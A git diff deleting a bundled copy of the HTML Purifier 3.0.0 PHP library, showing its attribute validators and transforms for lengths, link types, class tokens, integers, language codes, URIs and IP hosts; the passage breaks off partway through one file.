'HTMLPurifier/AttrDef.php'; -require_once 'HTMLPurifier/AttrDef/HTML/Pixels.php'; - -/** - * Validates the HTML type length (not to be confused with CSS's length). - * - * This accepts integer pixels or percentages as lengths for certain - * HTML attributes. - */ - -class HTMLPurifier_AttrDef_HTML_Length extends HTMLPurifier_AttrDef_HTML_Pixels -{ - - public function validate($string, $config, $context) { - - $string = trim($string); - if ($string === '') return false; - - $parent_result = parent::validate($string, $config, $context); - if ($parent_result !== false) return $parent_result; - - $length = strlen($string); - $last_char = $string[$length - 1]; - - if ($last_char !== '%') return false; - - $points = substr($string, 0, $length - 1); - - if (!is_numeric($points)) return false; - - $points = (int) $points; - - if ($points < 0) return '0%'; - if ($points > 100) return '100%'; - - return ((string) $points) . '%'; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/LinkTypes.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/LinkTypes.php deleted file mode 100644 index f268413..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/LinkTypes.php +++ /dev/null @@ -1,72 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; - -HTMLPurifier_ConfigSchema::define( - 'Attr', 'AllowedRel', array(), 'lookup', - 'List of allowed forward document relationships in the rel attribute. '. - 'Common values may be nofollow or print. By default, this is empty, '. - 'meaning that no document relationships are allowed. This directive '. - 'was available since 1.6.0.' -); - -HTMLPurifier_ConfigSchema::define( - 'Attr', 'AllowedRev', array(), 'lookup', - 'List of allowed reverse document relationships in the rev attribute. '. - 'This attribute is a bit of an edge-case; if you don\'t know what it '. - 'is for, stay away. This directive was available since 1.6.0.' -); - -/** - * Validates a rel/rev link attribute against a directive of allowed values - * @note We cannot use Enum because link types allow multiple - * values. - * @note Assumes link types are ASCII text - */ -class HTMLPurifier_AttrDef_HTML_LinkTypes extends HTMLPurifier_AttrDef -{ - - /** Name config attribute to pull. */ - protected $name; - - public function __construct($name) { - $configLookup = array( - 'rel' => 'AllowedRel', - 'rev' => 'AllowedRev' - ); - if (!isset($configLookup[$name])) { - trigger_error('Unrecognized attribute name for link '. - 'relationship.', E_USER_ERROR); - return; - } - $this->name = $configLookup[$name]; - } - - public function validate($string, $config, $context) { - - $allowed = $config->get('Attr', $this->name); - if (empty($allowed)) return false; - - $string = $this->parseCDATA($string); - $parts = explode(' ', $string); - - // lookup to prevent duplicates - $ret_lookup = array(); - foreach ($parts as $part) { - $part = strtolower(trim($part)); - if (!isset($allowed[$part])) continue; - $ret_lookup[$part] = true; - } - - if (empty($ret_lookup)) return false; - - $ret_array = array(); - foreach ($ret_lookup as $part => $bool) $ret_array[] = $part; - $string = implode(' ', $ret_array); - - return $string; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/MultiLength.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/MultiLength.php deleted file mode 100644 index 54ae4f1..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/MultiLength.php +++ /dev/null @@ -1,43 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; -require_once 'HTMLPurifier/AttrDef/HTML/Length.php'; - -/** - * Validates a MultiLength as defined by the HTML spec. - * - * A multilength is either a integer (pixel count), a percentage, or - * a relative number. - */ -class HTMLPurifier_AttrDef_HTML_MultiLength extends HTMLPurifier_AttrDef_HTML_Length -{ - - public function validate($string, $config, $context) { - - $string = trim($string); - if ($string === '') return false; - - $parent_result = parent::validate($string, $config, $context); - if ($parent_result !== false) return $parent_result; - - $length = strlen($string); - $last_char = $string[$length - 1]; - - if ($last_char !== '*') return false; - - $int = substr($string, 0, $length - 1); - - if ($int == '') return '*'; - if (!is_numeric($int)) return false; - - $int = (int) $int; - - if ($int < 0) return false; - if ($int == 0) return '0'; - if ($int == 1) return '*'; - return ((string) $int) . '*'; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Nmtokens.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Nmtokens.php deleted file mode 100644 index 4d8f3c9..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Nmtokens.php +++ /dev/null @@ -1,50 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; -require_once 'HTMLPurifier/Config.php'; - -/** - * Validates contents based on NMTOKENS attribute type. - * @note The only current use for this is the class attribute in HTML - * @note Could have some functionality factored out into Nmtoken class - * @warning We cannot assume this class will be used only for 'class' - * attributes. Not sure how to hook in magic behavior, then. - */ -class HTMLPurifier_AttrDef_HTML_Nmtokens extends HTMLPurifier_AttrDef -{ - - public function validate($string, $config, $context) { - - $string = trim($string); - - // early abort: '' and '0' (strings that convert to false) are invalid - if (!$string) return false; - - // OPTIMIZABLE! - // do the preg_match, capture all subpatterns for reformulation - - // we don't support U+00A1 and up codepoints or - // escaping because I don't know how to do that with regexps - // and plus it would complicate optimization efforts (you never - // see that anyway). - $matches = array(); - $pattern = '/(?:(?<=\s)|\A)'. // look behind for space or string start - '((?:--|-?[A-Za-z_])[A-Za-z_\-0-9]*)'. - '(?:(?=\s)|\z)/'; // look ahead for space or string end - preg_match_all($pattern, $string, $matches); - - if (empty($matches[1])) return false; - - // reconstruct string - $new_string = ''; - foreach ($matches[1] as $token) { - $new_string .= $token . ' '; - } - $new_string = rtrim($new_string); - - return $new_string; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Pixels.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Pixels.php deleted file mode 100644 index ed51dfa..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Pixels.php +++ /dev/null @@ -1,36 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; - -/** - * Validates an integer representation of pixels according to the HTML spec. - */ -class HTMLPurifier_AttrDef_HTML_Pixels extends HTMLPurifier_AttrDef -{ - - public function validate($string, $config, $context) { - - $string = trim($string); - if ($string === '0') return $string; - if ($string === '') return false; - $length = strlen($string); - if (substr($string, $length - 2) == 'px') { - $string = substr($string, 0, $length - 2); - } - if (!is_numeric($string)) return false; - $int = (int) $string; - - if ($int < 0) return '0'; - - // upper-bound value, extremely high values can - // crash operating systems, see <http://ha.ckers.org/imagecrash.html> - // WARNING, above link WILL crash you if you're using Windows - - if ($int > 1200) return '1200'; - - return (string) $int; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/Integer.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/Integer.php deleted file mode 100644 index 6ecdebc..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/Integer.php +++ /dev/null @@ -1,74 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; - -/** - * Validates an integer. - * @note While this class was modeled off the CSS definition, no currently - * allowed CSS uses this type. The properties that do are: widows, - * orphans, z-index, counter-increment, counter-reset. Some of the - * HTML attributes, however, find use for a non-negative version of this. - */ -class HTMLPurifier_AttrDef_Integer extends HTMLPurifier_AttrDef -{ - - /** - * Bool indicating whether or not negative values are allowed - */ - protected $negative = true; - - /** - * Bool indicating whether or not zero is allowed - */ - protected $zero = true; - - /** - * Bool indicating whether or not positive values are allowed - */ - protected $positive = true; - - /** - * @param $negative Bool indicating whether or not negative values are allowed - * @param $zero Bool indicating whether or not zero is allowed - * @param $positive Bool indicating whether or not positive values are allowed - */ - public function __construct( - $negative = true, $zero = true, $positive = true - ) { - $this->negative = $negative; - $this->zero = $zero; - $this->positive = $positive; - } - - public function validate($integer, $config, $context) { - - $integer = $this->parseCDATA($integer); - if ($integer === '') return false; - - // we could possibly simply typecast it to integer, but there are - // certain fringe cases that must not return an integer. - - // clip leading sign - if ( $this->negative && $integer[0] === '-' ) { - $digits = substr($integer, 1); - if ($digits === '0') $integer = '0'; // rm minus sign for zero - } elseif( $this->positive && $integer[0] === '+' ) { - $digits = $integer = substr($integer, 1); // rm unnecessary plus - } else { - $digits = $integer; - } - - // test if it's numeric - if (!ctype_digit($digits)) return false; - - // perform scope tests - if (!$this->zero && $integer == 0) return false; - if (!$this->positive && $integer > 0) return false; - if (!$this->negative && $integer < 0) return false; - - return $integer; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/Lang.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/Lang.php deleted file mode 100644 index afbf4d1..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/Lang.php +++ /dev/null @@ -1,74 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; - -/** - * Validates the HTML attribute lang, effectively a language code. - * @note Built according to RFC 3066, which obsoleted RFC 1766 - */ -class HTMLPurifier_AttrDef_Lang extends HTMLPurifier_AttrDef -{ - - public function validate($string, $config, $context) { - - $string = trim($string); - if (!$string) return false; - - $subtags = explode('-', $string); - $num_subtags = count($subtags); - - if ($num_subtags == 0) return false; // sanity check - - // process primary subtag : $subtags[0] - $length = strlen($subtags[0]); - switch ($length) { - case 0: - return false; - case 1: - if (! ($subtags[0] == 'x' || $subtags[0] == 'i') ) { - return false; - } - break; - case 2: - case 3: - if (! ctype_alpha($subtags[0]) ) { - return false; - } elseif (! ctype_lower($subtags[0]) ) { - $subtags[0] = strtolower($subtags[0]); - } - break; - default: - return false; - } - - $new_string = $subtags[0]; - if ($num_subtags == 1) return $new_string; - - // process second subtag : $subtags[1] - $length = strlen($subtags[1]); - if ($length == 0 || ($length == 1 && $subtags[1] != 'x') || $length > 8 || !ctype_alnum($subtags[1])) { - return $new_string; - } - if (!ctype_lower($subtags[1])) $subtags[1] = strtolower($subtags[1]); - - $new_string .= '-' . $subtags[1]; - if ($num_subtags == 2) return $new_string; - - // process all other subtags, index 2 and up - for ($i = 2; $i < $num_subtags; $i++) { - $length = strlen($subtags[$i]); - if ($length == 0 || $length > 8 || !ctype_alnum($subtags[$i])) { - return $new_string; - } - if (!ctype_lower($subtags[$i])) { - $subtags[$i] = strtolower($subtags[$i]); - } - $new_string .= '-' . $subtags[$i]; - } - - return $new_string; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/Text.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/Text.php deleted file mode 100644 index d5e0e7b..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/Text.php +++ /dev/null @@ -1,16 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; - -/** - * Validates arbitrary text according to the HTML spec. - */ -class HTMLPurifier_AttrDef_Text extends HTMLPurifier_AttrDef -{ - - public function validate($string, $config, $context) { - return $this->parseCDATA($string); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI.php deleted file mode 100644 index 710abaa..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI.php +++ /dev/null @@ -1,150 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; -require_once 'HTMLPurifier/URIParser.php'; -require_once 'HTMLPurifier/URIScheme.php'; -require_once 'HTMLPurifier/URISchemeRegistry.php'; -require_once 'HTMLPurifier/AttrDef/URI/Host.php'; -require_once 'HTMLPurifier/PercentEncoder.php'; -require_once 'HTMLPurifier/AttrDef/URI/Email.php'; - -// special case filtering directives - -HTMLPurifier_ConfigSchema::define( - 'URI', 'Munge', null, 'string/null', ' -<p> - Munges all browsable (usually http, https and ftp) - absolute URI\'s into another URI, usually a URI redirection service. - This directive accepts a URI, formatted with a <code>%s</code> where - the url-encoded original URI should be inserted (sample: - <code>http://www.google.com/url?q=%s</code>). -</p> -<p> - Uses for this directive: -</p> -<ul> - <li> - Prevent PageRank leaks, while being fairly transparent - to users (you may also want to add some client side JavaScript to - override the text in the statusbar). <strong>Notice</strong>: - Many security experts believe that this form of protection does not deter spam-bots. - </li> - <li> - Redirect users to a splash page telling them they are leaving your - website. While this is poor usability practice, it is often mandated - in corporate environments. - </li> -</ul> -<p> - This directive has been available since 1.3.0. -</p> -'); - -// disabling directives - -HTMLPurifier_ConfigSchema::define( - 'URI', 'Disable', false, 'bool', ' -<p> - Disables all URIs in all forms. Not sure why you\'d want to do that - (after all, the Internet\'s founded on the notion of a hyperlink). - This directive has been available since 1.3.0. -</p> -'); -HTMLPurifier_ConfigSchema::defineAlias('Attr', 'DisableURI', 'URI', 'Disable'); - -HTMLPurifier_ConfigSchema::define( - 'URI', 'DisableResources', false, 'bool', ' -<p> - Disables embedding resources, essentially meaning no pictures. You can - still link to them though. See %URI.DisableExternalResources for why - this might be a good idea. This directive has been available since 1.3.0. -</p> -'); - -/** - * Validates a URI as defined by RFC 3986. - * @note Scheme-specific mechanics deferred to HTMLPurifier_URIScheme - */ -class HTMLPurifier_AttrDef_URI extends HTMLPurifier_AttrDef -{ - - protected $parser, $percentEncoder; - protected $embedsResource; - - /** - * @param $embeds_resource_resource Does the URI here result in an extra HTTP request? - */ - public function __construct($embeds_resource = false) { - $this->parser = new HTMLPurifier_URIParser(); - $this->percentEncoder = new HTMLPurifier_PercentEncoder(); - $this->embedsResource = (bool) $embeds_resource; - } - - public function validate($uri, $config, $context) { - - if ($config->get('URI', 'Disable')) return false; - - // initial operations - $uri = $this->parseCDATA($uri); - $uri = $this->percentEncoder->normalize($uri); - - // parse the URI - $uri = $this->parser->parse($uri); - if ($uri === false) return false; - - // add embedded flag to context for validators - $context->register('EmbeddedURI', $this->embedsResource); - - $ok = false; - do { - - // generic validation - $result = $uri->validate($config, $context); - if (!$result) break; - - // chained filtering - $uri_def =& $config->getDefinition('URI'); - $result = $uri_def->filter($uri, $config, $context); - if (!$result) break; - - // scheme-specific validation - $scheme_obj = $uri->getSchemeObj($config, $context); - if (!$scheme_obj) break; - if ($this->embedsResource && !$scheme_obj->browsable) break; - $result = $scheme_obj->validate($uri, $config, $context); - if (!$result) break; - - // survived gauntlet - $ok = true; - - } while (false); - - $context->destroy('EmbeddedURI'); - if (!$ok) return false; - - // munge scheme off if necessary (this must be last) - if (!is_null($uri->scheme) && is_null($uri->host)) { - if ($uri_def->defaultScheme == $uri->scheme) { - $uri->scheme = null; - } - } - - // back to string - $result = $uri->toString(); - - // munge entire URI if necessary - if ( - !is_null($uri->host) && // indicator for authority - !empty($scheme_obj->browsable) && - !is_null($munge = $config->get('URI', 'Munge')) - ) { - $result = str_replace('%s', rawurlencode($result), $munge); - } - - return $result; - - } - -} - - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/Email.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/Email.php deleted file mode 100644 index 4a5b06b..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/Email.php +++ /dev/null @@ -1,18 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; - -abstract class HTMLPurifier_AttrDef_URI_Email extends HTMLPurifier_AttrDef -{ - - /** - * Unpacks a mailbox into its display-name and address - */ - function unpack($string) { - // needs to be implemented - } - -} - -// sub-implementations -require_once 'HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php'; diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php deleted file mode 100644 index c8b58d4..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php +++ /dev/null @@ -1,22 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/URI/Email.php'; - -/** - * Primitive email validation class based on the regexp found at - * http://www.regular-expressions.info/email.html - */ -class HTMLPurifier_AttrDef_URI_Email_SimpleCheck extends HTMLPurifier_AttrDef_URI_Email -{ - - public function validate($string, $config, $context) { - // no support for named mailboxes i.e. "Bob <bob@example.com>" - // that needs more percent encoding to be done - if ($string == '') return false; - $string = trim($string); - $result = preg_match('/^[A-Z0-9._%-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i', $string); - return $result ? $string : false; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/Host.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/Host.php deleted file mode 100644 index 3451917..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/Host.php +++ /dev/null @@ -1,53 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; -require_once 'HTMLPurifier/AttrDef/URI/IPv4.php'; -require_once 'HTMLPurifier/AttrDef/URI/IPv6.php'; - -/** - * Validates a host according to the IPv4, IPv6 and DNS (future) specifications. - */ -class HTMLPurifier_AttrDef_URI_Host extends HTMLPurifier_AttrDef -{ - - /** - * Instance of HTMLPurifier_AttrDef_URI_IPv4 sub-validator - */ - protected $ipv4; - - /** - * Instance of HTMLPurifier_AttrDef_URI_IPv6 sub-validator - */ - protected $ipv6; - - public function __construct() { - $this->ipv4 = new HTMLPurifier_AttrDef_URI_IPv4(); - $this->ipv6 = new HTMLPurifier_AttrDef_URI_IPv6(); - } - - public function validate($string, $config, $context) { - $length = strlen($string); - if ($string === '') return ''; - if ($length > 1 && $string[0] === '[' && $string[$length-1] === ']') { - //IPv6 - $ip = substr($string, 1, $length - 2); - $valid = $this->ipv6->validate($ip, $config, $context); - if ($valid === false) return false; - return '['. $valid . ']'; - } - - // need to do checks on unusual encodings too - $ipv4 = $this->ipv4->validate($string, $config, $context); - if ($ipv4 !== false) return $ipv4; - - // validate a domain name here, do filtering, etc etc etc - - // We could use this, but it would break I18N domain names - //$match = preg_match('/^[a-z0-9][\w\-\.]*[a-z0-9]$/i', $string); - //if (!$match) return false; - - return $string; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/IPv4.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/IPv4.php deleted file mode 100644 index d622440..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/IPv4.php +++ /dev/null @@ -1,40 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; - -/** - * Validates an IPv4 address - * @author Feyd @ forums.devnetwork.net (public domain) - */ -class HTMLPurifier_AttrDef_URI_IPv4 extends HTMLPurifier_AttrDef -{ - - /** - * IPv4 regex, protected so that IPv6 can reuse it - */ - protected $ip4; - - public function validate($aIP, $config, $context) { - - if (!$this->ip4) $this->_loadRegex(); - - if (preg_match('#^' . $this->ip4 . '$#s', $aIP)) - { - return $aIP; - } - - return false; - - } - - /** - * Lazy load function to prevent regex from being stuffed in - * cache. - */ - protected function _loadRegex() { - $oct = '(?:25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9][0-9]|[0-9])'; // 0-255 - $this->ip4 = "(?:{$oct}\\.{$oct}\\.{$oct}\\.{$oct})"; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/IPv6.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/IPv6.php deleted file mode 100644 index 3f59752..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/IPv6.php +++ /dev/null @@ -1,100 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/URI/IPv4.php'; - -/** - * Validates an IPv6 address. - * @author Feyd @ forums.devnetwork.net (public domain) - * @note This function requires brackets to have been removed from address - * in URI. - */ -class HTMLPurifier_AttrDef_URI_IPv6 extends HTMLPurifier_AttrDef_URI_IPv4 -{ - - public function validate($aIP, $config, $context) { - - if (!$this->ip4) $this->_loadRegex(); - - $original = $aIP; - - $hex = '[0-9a-fA-F]'; - $blk = '(?:' . $hex . '{1,4})'; - $pre = '(?:/(?:12[0-8]|1[0-1][0-9]|[1-9][0-9]|[0-9]))'; // /0 - /128 - - // prefix check - if (strpos($aIP, '/') !== false) - { - if (preg_match('#' . $pre . '$#s', $aIP, $find)) - { - $aIP = substr($aIP, 0, 0-strlen($find[0])); - unset($find); - } - else - { - return false; - } - } - - // IPv4-compatiblity check - if (preg_match('#(?<=:'.')' . $this->ip4 . '$#s', $aIP, $find)) - { - $aIP = substr($aIP, 0, 0-strlen($find[0])); - $ip = explode('.', $find[0]); - $ip = array_map('dechex', $ip); - $aIP .= $ip[0] . $ip[1] . ':' . $ip[2] . $ip[3]; - unset($find, $ip); - } - - // compression check - $aIP = explode('::', $aIP); - $c = count($aIP); - if ($c > 2) - { - return false; - } - elseif ($c == 2) - { - list($first, $second) = $aIP; - $first = explode(':', $first); - $second = explode(':', $second); - - if (count($first) + count($second) > 8) - { - return false; - } - - while(count($first) < 8) - { - array_push($first, '0'); - } - - array_splice($first, 8 - count($second), 8, $second); - $aIP = $first; - unset($first,$second); - } - else - { - $aIP = explode(':', $aIP[0]); - } - $c = count($aIP); - - if ($c != 8) - { - return false; - } - - // All the pieces should be 16-bit hex strings. Are they? - foreach ($aIP as $piece) - { - if (!preg_match('#^[0-9a-fA-F]{4}$#s', sprintf('%04s', $piece))) - { - return false; - } - } - - return $original; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform.php deleted file mode 100644 index a295c98..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform.php +++ /dev/null @@ -1,55 +0,0 @@ -<?php - -/** - * Processes an entire attribute array for corrections needing multiple values. - * - * Occasionally, a certain attribute will need to be removed and popped onto - * another value. Instead of creating a complex return syntax for - * HTMLPurifier_AttrDef, we just pass the whole attribute array to a - * specialized object and have that do the special work. That is the - * family of HTMLPurifier_AttrTransform. - * - * An attribute transformation can be assigned to run before or after - * HTMLPurifier_AttrDef validation. See HTMLPurifier_HTMLDefinition for - * more details. - */ - -abstract class HTMLPurifier_AttrTransform -{ - - /** - * Abstract: makes changes to the attributes dependent on multiple values. - * - * @param $attr Assoc array of attributes, usually from - * HTMLPurifier_Token_Tag::$attr - * @param $config Mandatory HTMLPurifier_Config object. - * @param $context Mandatory HTMLPurifier_Context object - * @returns Processed attribute array. - */ - abstract public function transform($attr, $config, $context); - - /** - * Prepends CSS properties to the style attribute, creating the - * attribute if it doesn't exist. - * @param $attr Attribute array to process (passed by reference) - * @param $css CSS to prepend - */ - public function prependCSS(&$attr, $css) { - $attr['style'] = isset($attr['style']) ? $attr['style'] : ''; - $attr['style'] = $css . $attr['style']; - } - - /** - * Retrieves and removes an attribute - * @param $attr Attribute array to process (passed by reference) - * @param $key Key of attribute to confiscate - */ - public function confiscateAttr(&$attr, $key) { - if (!isset($attr[$key])) return null; - $value = $attr[$key]; - unset($attr[$key]); - return $value; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/BdoDir.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/BdoDir.php deleted file mode 100644 index 15f9188..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/BdoDir.php +++ /dev/null @@ -1,30 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform.php'; - -// this MUST be placed in post, as it assumes that any value in dir is valid - -HTMLPurifier_ConfigSchema::define( - 'Attr', 'DefaultTextDir', 'ltr', 'string', - 'Defines the default text direction (ltr or rtl) of the document '. - 'being parsed. This generally is the same as the value of the dir '. - 'attribute in HTML, or ltr if that is not specified.' -); -HTMLPurifier_ConfigSchema::defineAllowedValues( - 'Attr', 'DefaultTextDir', array( 'ltr', 'rtl' ) -); - -/** - * Post-trasnform that ensures that bdo tags have the dir attribute set. - */ -class HTMLPurifier_AttrTransform_BdoDir extends HTMLPurifier_AttrTransform -{ - - public function transform($attr, $config, $context) { - if (isset($attr['dir'])) return $attr; - $attr['dir'] = $config->get('Attr', 'DefaultTextDir'); - return $attr; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/BgColor.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/BgColor.php deleted file mode 100644 index 5962a6e..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/BgColor.php +++ /dev/null @@ -1,24 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform.php'; - -/** - * Pre-transform that changes deprecated bgcolor attribute to CSS. - */ -class HTMLPurifier_AttrTransform_BgColor extends HTMLPurifier_AttrTransform { - - public function transform($attr, $config, $context) { - - if (!isset($attr['bgcolor'])) return $attr; - - $bgcolor = $this->confiscateAttr($attr, 'bgcolor'); - // some validation should happen here - - $this->prependCSS($attr, "background-color:$bgcolor;"); - - return $attr; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/BoolToCSS.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/BoolToCSS.php deleted file mode 100644 index bb1b8b6..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/BoolToCSS.php +++ /dev/null @@ -1,38 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform.php'; - -/** - * Pre-transform that changes converts a boolean attribute to fixed CSS - */ -class HTMLPurifier_AttrTransform_BoolToCSS -extends HTMLPurifier_AttrTransform { - - /** - * Name of boolean attribute that is trigger - */ - protected $attr; - - /** - * CSS declarations to add to style, needs trailing semicolon - */ - protected $css; - - /** - * @param $attr string attribute name to convert from - * @param $css string CSS declarations to add to style (needs semicolon) - */ - public function __construct($attr, $css) { - $this->attr = $attr; - $this->css = $css; - } - - public function transform($attr, $config, $context) { - if (!isset($attr[$this->attr])) return $attr; - unset($attr[$this->attr]); - $this->prependCSS($attr, $this->css); - return $attr; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/Border.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/Border.php deleted file mode 100644 index debf6f2..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/Border.php +++ /dev/null @@ -1,19 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform.php'; - -/** - * Pre-transform that changes deprecated border attribute to CSS. - */ -class HTMLPurifier_AttrTransform_Border extends HTMLPurifier_AttrTransform { - - public function transform($attr, $config, $context) { - if (!isset($attr['border'])) return $attr; - $border_width = $this->confiscateAttr($attr, 'border'); - // some validation should happen here - $this->prependCSS($attr, "border:{$border_width}px solid;"); - return $attr; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/EnumToCSS.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/EnumToCSS.php deleted file mode 100644 index b02fbaf..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/EnumToCSS.php +++ /dev/null @@ -1,59 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform.php'; - -/** - * Generic pre-transform that converts an attribute with a fixed number of - * values (enumerated) to CSS. - */ -class HTMLPurifier_AttrTransform_EnumToCSS extends HTMLPurifier_AttrTransform { - - /** - * Name of attribute to transform from - */ - protected $attr; - - /** - * Lookup array of attribute values to CSS - */ - protected $enumToCSS = array(); - - /** - * Case sensitivity of the matching - * @warning Currently can only be guaranteed to work with ASCII - * values. - */ - protected $caseSensitive = false; - - /** - * @param $attr String attribute name to transform from - * @param $enumToCSS Lookup array of attribute values to CSS - * @param $case_sensitive Boolean case sensitivity indicator, default false - */ - public function __construct($attr, $enum_to_css, $case_sensitive = false) { - $this->attr = $attr; - $this->enumToCSS = $enum_to_css; - $this->caseSensitive = (bool) $case_sensitive; - } - - public function transform($attr, $config, $context) { - - if (!isset($attr[$this->attr])) return $attr; - - $value = trim($attr[$this->attr]); - unset($attr[$this->attr]); - - if (!$this->caseSensitive) $value = strtolower($value); - - if (!isset($this->enumToCSS[$value])) { - return $attr; - } - - $this->prependCSS($attr, $this->enumToCSS[$value]); - - return $attr; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/ImgRequired.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/ImgRequired.php deleted file mode 100644 index 7f0bdf3..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/ImgRequired.php +++ /dev/null @@ -1,53 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform.php'; - -// must be called POST validation - -HTMLPurifier_ConfigSchema::define( - 'Attr', 'DefaultInvalidImage', '', 'string', - 'This is the default image an img tag will be pointed to if it does '. - 'not have a valid src attribute. In future versions, we may allow the '. - 'image tag to be removed completely, but due to design issues, this is '. - 'not possible right now.' -); - -HTMLPurifier_ConfigSchema::define( - 'Attr', 'DefaultInvalidImageAlt', 'Invalid image', 'string', - 'This is the content of the alt tag of an invalid image if the user '. - 'had not previously specified an alt attribute. It has no effect when the '. - 'image is valid but there was no alt attribute present.' -); - -/** - * Transform that supplies default values for the src and alt attributes - * in img tags, as well as prevents the img tag from being removed - * because of a missing alt tag. This needs to be registered as both - * a pre and post attribute transform. - */ -class HTMLPurifier_AttrTransform_ImgRequired extends HTMLPurifier_AttrTransform 